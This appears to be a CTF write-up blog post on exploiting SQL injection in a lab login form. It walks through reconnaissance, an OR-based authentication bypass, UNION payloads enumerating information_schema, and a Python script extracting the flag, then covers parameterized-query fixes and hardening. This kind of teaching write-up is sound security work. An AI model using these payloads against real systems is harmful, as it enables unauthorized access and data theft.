← Back to Blog

Breaking the Web Challenge: SQL Injection Deep Dive

This writeup covers the "Leaky Database" web challenge from our BSides Seattle 2026 CTF. The challenge presented a login form backed by a vulnerable PHP application and required chaining several SQL injection techniques to extract the flag.

Recon

The challenge page was a simple login form at http://challenge.ctf.local:8080/login. Viewing the source revealed nothing unusual — just a standard HTML form posting to /api/auth.

Running a quick directory scan:

gobuster dir -u http://challenge.ctf.local:8080 -w /usr/share/wordlists/common.txt

Turned up an interesting endpoint: /api/debug which returned a partial stack trace mentioning MySQL 8.0 and a table called users.

Finding the Injection Point

The login form accepted username and password fields. Testing with a single quote in the username field:

username: admin'
password: anything

Returned a 500 Internal Server Error — a strong indicator of SQL injection. A classic OR bypass confirmed it:

' OR 1=1 -- -

This logged us in as the first user in the table, but the flag wasn't on the dashboard.

Extracting the Flag

The flag was stored in a separate table. We used a UNION-based injection to enumerate tables:

' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database() -- -

This revealed three tables:

Table Name
users
sessions
secret_flags

Then extracting columns from secret_flags:

' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='secret_flags' -- -

Columns: id, flag_value, challenge_name.

Finally, pulling the flag:

import requests

url = "http://challenge.ctf.local:8080/api/auth"
payload = {
    "username": "' UNION SELECT flag_value, NULL FROM secret_flags WHERE challenge_name='leaky_db' -- -",
    "password": "x"
}
r = requests.post(url, data=payload)
print(r.text)

Output:

Welcome, RTA{sql_1nj3ct10n_1s_st1ll_d4ng3r0us}!

Mitigation

The fix is straightforward — use parameterized queries:

# Vulnerable
cursor.execute(f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'")

# Fixed
cursor.execute("SELECT * FROM users WHERE username=%s AND password=%s", (user, pwd))

Additional hardening:

  • Least privilege: The database user for the web app should only have SELECT on the users table
  • WAF rules: Block common SQLi patterns as defense-in-depth
  • Error handling: Never expose stack traces or database errors to users

Key Takeaways

  1. Always test input fields for injection — even in 2026, SQLi is alive and well
  2. UNION-based injection is powerful when you can see output reflected in the response
  3. The information_schema database is your best friend for enumeration
  4. Parameterized queries are the only reliable fix — escaping and WAFs can be bypassed